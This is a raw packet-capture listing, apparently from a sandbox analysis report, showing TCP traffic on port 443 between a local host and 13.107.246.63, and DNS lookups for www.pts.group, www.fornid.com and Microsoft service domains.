Dec 8, 2024 10:48:35.616941929 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.618295908 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.618674040 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.618685007 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.619035959 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.619079113 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.619256020 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.619446039 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.619462967 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.652800083 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.656723022 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.656774044 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.656783104 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.656848907 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.656884909 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.656884909 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.656903028 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.656913042 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.662377119 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.662414074 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.662559032 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.662748098 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.662754059 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.286990881 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.287594080 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.287628889 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.288075924 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.288081884 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.292517900 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.292960882 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.292982101 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.293323040 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.293329954 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.332012892 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.332201958 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.332542896 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.332566977 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.332796097 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.332825899 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.333141088 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.333146095 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.333452940 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.333460093 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.378973007 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.379585028 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.379609108 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.380045891 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.380050898 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.719939947 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.723881960 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.726331949 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.726520061 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.726633072 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.726655960 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.726670980 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.726675987 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.730003119 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.730036974 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.730094910 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.730294943 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.730304956 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.730716944 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.730767012 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.730856895 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.730856895 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.730856895 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.733097076 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.733139992 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.733298063 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.733504057 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.733516932 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.764683008 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.764704943 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.765863895 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.765875101 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.766139030 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.766144991 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.766156912 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.766300917 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.766333103 CET	443	49893	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.766422987 CET	49893	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.766731977 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.768997908 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769022942 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.769150972 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769296885 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769303083 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.769733906 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.769784927 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769820929 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769834995 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.769850016 CET	49892	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.769854069 CET	443	49892	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.772481918 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.772499084 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.772627115 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.772780895 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.772789001 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.812011003 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.815789938 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.815853119 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.815871954 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.815921068 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.815988064 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.815994024 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.816005945 CET	49894	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.816009998 CET	443	49894	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.819108963 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.819129944 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:37.819238901 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.819366932 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:37.819379091 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:38.030704021 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:38.030734062 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.446731091 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.446803093 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.447439909 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.447467089 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.447465897 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.447494030 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.448055029 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.448060989 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.448122025 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.448132992 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.483968019 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.484529972 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.484549999 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.484981060 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.484994888 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.486795902 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.487107992 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.487133980 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.487503052 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.487509012 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.533061028 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.535378933 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.535378933 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.535429001 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.535430908 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.879821062 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.879901886 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883574009 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883645058 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.883730888 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.883754969 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883769035 CET	49896	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.883775949 CET	443	49896	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883852959 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883903027 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.883908987 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.883975983 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.885504961 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.885504961 CET	49895	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.885529995 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.885540962 CET	443	49895	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.888587952 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.888612986 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.888645887 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.888659000 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.888714075 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.888744116 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.888991117 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.889007092 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.889035940 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.889048100 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.917273045 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.920659065 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.920954943 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.921027899 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.921050072 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.921062946 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.921086073 CET	49897	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.921091080 CET	443	49897	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.923734903 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.923835993 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.924515963 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.924549103 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.924575090 CET	49898	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.924590111 CET	443	49898	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.924613953 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.925447941 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.925458908 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.927582979 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.927639008 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.927726984 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.927895069 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.927910089 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.967782021 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.971040964 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.971101999 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.971112967 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.971177101 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.971282005 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.971282005 CET	49899	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.971301079 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.971323013 CET	443	49899	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.974673033 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.974699974 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:39.974787951 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.974956036 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:39.974967003 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.605509996 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.605580091 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.606136084 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.606180906 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.606688976 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.606693983 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.606703997 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.606724977 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.607319117 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.607330084 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.672744036 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.673335075 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.673367023 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.673856974 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.673861980 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.685513020 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.686028004 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.686079025 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.686507940 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.686520100 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.717854977 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.718390942 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.718420982 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:41.718938112 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:41.718944073 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.038502932 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.038711071 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042700052 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042749882 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042768002 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042777061 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042802095 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042846918 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042907000 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042913914 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042927980 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042937040 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042941093 CET	49901	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042948961 CET	443	49901	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.042957067 CET	49900	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.042964935 CET	443	49900	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.045953989 CET	49905	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046000004 CET	443	49905	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.046034098 CET	49906	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046060085 CET	443	49906	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.046076059 CET	49905	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046104908 CET	49906	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046237946 CET	49906	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046255112 CET	443	49906	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.046260118 CET	49905	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.046273947 CET	443	49905	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.109033108 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.113531113 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.113605022 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.113676071 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.113698959 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.113717079 CET	49902	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.113723993 CET	443	49902	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.116709948 CET	49907	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.116754055 CET	443	49907	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.116822958 CET	49907	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.117007017 CET	49907	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.117017984 CET	443	49907	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.119640112 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.122900009 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.122941971 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.122944117 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.122987032 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.123051882 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.123071909 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.123083115 CET	49903	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.123087883 CET	443	49903	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.125993967 CET	49908	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.126024961 CET	443	49908	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.126091003 CET	49908	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.126221895 CET	49908	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.126229048 CET	443	49908	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.151213884 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.154633999 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.154798031 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.154798031 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.155009985 CET	49904	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.155021906 CET	443	49904	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.157555103 CET	49909	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.157614946 CET	443	49909	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:42.157851934 CET	49909	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.157851934 CET	49909	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:42.157896042 CET	443	49909	13.107.246.63	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 10:46:17.806119919 CET	65512	53	192.168.2.8	1.1.1.1
Dec 8, 2024 10:46:17.948273897 CET	53	65512	1.1.1.1	192.168.2.8
Dec 8, 2024 10:46:20.415930033 CET	53229	53	192.168.2.8	1.1.1.1
Dec 8, 2024 10:46:20.553282022 CET	53	53229	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 10:46:17.806119919 CET	192.168.2.8	1.1.1.1	0xf2c9	Standard query (0)	www.pts.group	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:20.415930033 CET	192.168.2.8	1.1.1.1	0xf829	Standard query (0)	www.fornid.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 10:46:17.948273897 CET	1.1.1.1	192.168.2.8	0xf2c9	No error (0)	www.pts.group	pts.group		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 10:46:17.948273897 CET	1.1.1.1	192.168.2.8	0xf2c9	No error (0)	pts.group		68.66.226.116	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:20.553282022 CET	1.1.1.1	192.168.2.8	0xf829	No error (0)	www.fornid.com	fornid.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 10:46:20.553282022 CET	1.1.1.1	192.168.2.8	0xf829	No error (0)	fornid.com		93.95.216.175	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.179	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.186	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.178	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.182	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.177	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:29.365904093 CET	1.1.1.1	192.168.2.8	0xd42b	No error (0)	mira-tmc.tm-4.office.com		52.123.243.180	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:30.479222059 CET	1.1.1.1	192.168.2.8	0xbc02	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:46:30.479222059 CET	1.1.1.1	192.168.2.8	0xbc02	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:47:25.012729883 CET	1.1.1.1	192.168.2.8	0x6892	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 10:47:25.012729883 CET	1.1.1.1	192.168.2.8	0x6892	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:47:31.687092066 CET	1.1.1.1	192.168.2.8	0x9234	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
